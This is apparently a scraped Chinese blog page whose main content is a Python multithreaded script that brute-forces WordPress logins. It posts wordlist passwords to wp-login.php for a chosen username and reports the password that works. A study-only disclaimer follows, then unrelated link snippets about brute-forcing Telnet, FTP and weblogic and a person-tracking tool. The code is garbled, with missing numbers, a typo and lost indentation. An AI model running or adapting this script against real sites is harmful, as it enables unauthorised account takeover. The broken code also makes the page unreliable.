import requests
import sys
import queue
import threading
import time
import getopt
urll=''
users=''
pss=''
threadss=''
class Mythread(threading.Thread):
def __init__(self,url,user,passwd,threads):
self.user=user
self.found=False
self.url=url
self.threads =threads
self.passwd=passwd
print("+++++加载字典中++++++++")
print(self.passwd)
self.pass1=queue.Queue()
file=open(self.passwd)
for i in file.readlines():
self.pass1.put(i.strip())
self.result=None
print("++++++++字典加载成功+++++++")
def goit(self):
for i in range(self.threads):
t =threading.Thread(target=self.joinpwd)
t.start()
print('破解线程启动%s'%t.ident)
while(not self.pass1.empty()):
print("=======还剩%s个口令"%self.pass1.qsize())
sys.stdout.flush()
time.sleep()
print('\n破解完毕') def __login(self,pwd):
urls='{}/wp-login.php'.format(self.url)
values = {'log': self.user, 'pwd': pwd, 'wp-submit': 'Log In',
'redirect_to': '{}/wp-admin'.format(self.url), 'test_cookie': ''}
my_cookie = {'wordpress_test_cookie': 'WP Cookie check'}
r = requests.post(url=urls, data=values, cookies=my_cookie, allow_redirects=False) # 禁用重定向,以便后边判断登陆状态
if r.status_code == :
return True
return False
def joinpwd(self):
while not self.pass1.empty() and not self.found ==True:
password=self.pass1.get()
if self.__login(password)==True:
self.foubd =True
self.result =password
print("破解%s 成功,密码为%s "%(self.user,password))
else:
self.found =False
if __name__=='__main__':
try:
opts, args= getopt.getopt(sys.argv[:],"u:w:p:t:")
for opt ,arg in opts:
if opt in ("-u"):
urll=arg
elif opt in ("-w"):
users=arg
elif opt in ("-p"):
pss=arg
pss=str(pss)
elif opt in ("-t"):
threadss=arg
threadss=int(threadss)
except:
print("获取参数时候报错 麻烦从新输入参数")
if len(sys.argv[:])!=:
print("用法")
exit()
b=Mythread(urll,users,pss,threadss)
b.goit()
print(b.result)

用法

此脚本仅用于学习参考 切勿用于非法用途 且勿违反法律道德,后果自负

wordpress爆破脚本的编写的更多相关文章

  1. [改善Java代码]易变业务使用脚本语言编写

    建议16: 易变业务使用脚本语言编写 Java世界一直在遭受着异种语言的入侵,比如PHP.Ruby.Groovy.JavaScript等,这些“入侵者”都有一个共同特征:全是同一类语言—脚本语言,它们 ...

  2. Python Telnet弱口令爆破脚本及遇到的错误与问题

    写得时候遇到了一个很大的问题,就是我在发送用户名,接受用户名就会一直卡住.然后等了好久后提示 recv ‘\r\nSession timed out.\r\n\r\nTelnet Server has ...

  3. Tsung脚本中使用动态参数(一)---直接在脚本里编写Erlang代码

    杀死一个程序猿,只要改三次需求.同理,杀死一个接口自动化测试人员,只要改三次接口数据处理方式.我目前的状态,改了一次接口数据处理方式,有一种胸闷的感觉. 因为改需求,所以,要改脚本.T_T.所以,才有 ...

  4. python写批量weblogic爆破脚本

    前言: 整理笔记的时候,发现了weblogic的攻击方法.心里打着算盘看看怎么写 个批量的弱口令爆破脚本.得出了以下思路 思路: 1.利用钟馗之眼采集weblogic的网站,将IP写入到txt 2.添 ...

  5. selenium从入门到应用 - 2,简单线性脚本的编写

    本系列所有代码 https://github.com/zhangting85/simpleWebtest 本文将介绍一个Java+TestNG+Maven+Selenium的web自动化测试脚本环境下 ...

  6. 工程师技术(五):Shell脚本的编写及测试、重定向输出的应用、使用特殊变量、编写一个判断脚本、编写一个批量添加用户脚本

    一.Shell脚本的编写及测 目标: 本例要求两个简单的Shell脚本程序,任务目标如下: 1> 编写一个面世问候 /root/helloworld.sh 脚本,执行后显示出一段话“Hello ...

  7. Shell脚本的编写及测试

                                                      Shell脚本的编写及测试 1.1问题 本例要求两个简单的Shell脚本程序,任务目标如下: 编写一 ...

  8. Python FTP多线程爆破脚本

    初学python, 自己编写了个FTP多线爆破小脚本代码很丑= = #!usr/bin/env python #!coding=utf-8 __author__='zhengjim' from ftp ...

  9. (转) Unity3D中角色的动画脚本的编写(三)

    在上一篇,我们具体的讲解了有关动画的融合,也提到了有关动画状态的权重问题.那么这次,我来以一个例子的形式来向大家讲解动画的叠加,或许会涉及到多方面的知识,我力求一次讲清.好了,我们开始吧! 首先我们必 ...

随机推荐

  1. Script text 属性

    参考 Script text 属性

  2. docker系列之六容器数据卷

    docker之容器数据卷 一.容器数据卷 docker容器运行的时候,会产生一系列的文件,那么我们希望容器产生的数据能提供给其他的容器使用,也就是说怎么实现容器间的数据的共享呢?这就需要用到我们所提到 ...

  3. 鼠标指针光标样式css cursor default pointer hand url

    一.cursor语法与结构 1.cursor语法:cursor : auto | crosshair | default | hand | move | help | wait | text | w- ...

  4. trape 一种识别工具

    trape是一种识别工具,可以让你跟踪任何人,你可以得到的信息非常详细.通过去识别现有的网站所登录的用户,来追踪一个人的虚拟身份 如何使用它首先卸载工具.git clone https://githu ...

  5. 【转】Linux下常用压缩 解压命令和压缩比率对比

    https://www.cnblogs.com/joshua317/p/6170839.html 常用的格式有:tar, tar.gz(tgz), tar.bz2, 不同方式,压缩和解压方式所耗CPU ...

  6. linux服务器管理

    1.找出目前系统开启的网络服务有哪些? netstat -tulp 2.找出所有的有监听网络的服务(包含socket状态) Netstat -lnp 3.查看所有的服务状态 Service –-sta ...

  7. Python3+Appium学习笔记08-元素定位

    appium整合了不同的自动化测试驱动程序.而新版本appium desktop 中安卓是使用UI Automator2来作为驱动程序的.以前版本是使用UI Automator1或 Selendroi ...

  8. PHP实现月份自动加1

    <?php date_default_timezone_set('PRC'); $date = date("Y-m-d"); $firstday = date('Y-m-01 ...

  9. WPF绑定属性

    1.创建model类 model类要继承接口INotifyPropertyChanged,用于通知客户端属性值已更改 public class StudentModel : INotifyProper ...

  10. P1396 营救[最短路+二分]

    题目描述 “咚咚咚……”“查水表!”原来是查水表来了,现在哪里找这么热心上门的查表员啊!小明感动的热泪盈眶,开起了门…… 妈妈下班回家,街坊邻居说小明被一群陌生人强行押上了警车!妈妈丰富的经验告诉她小 ...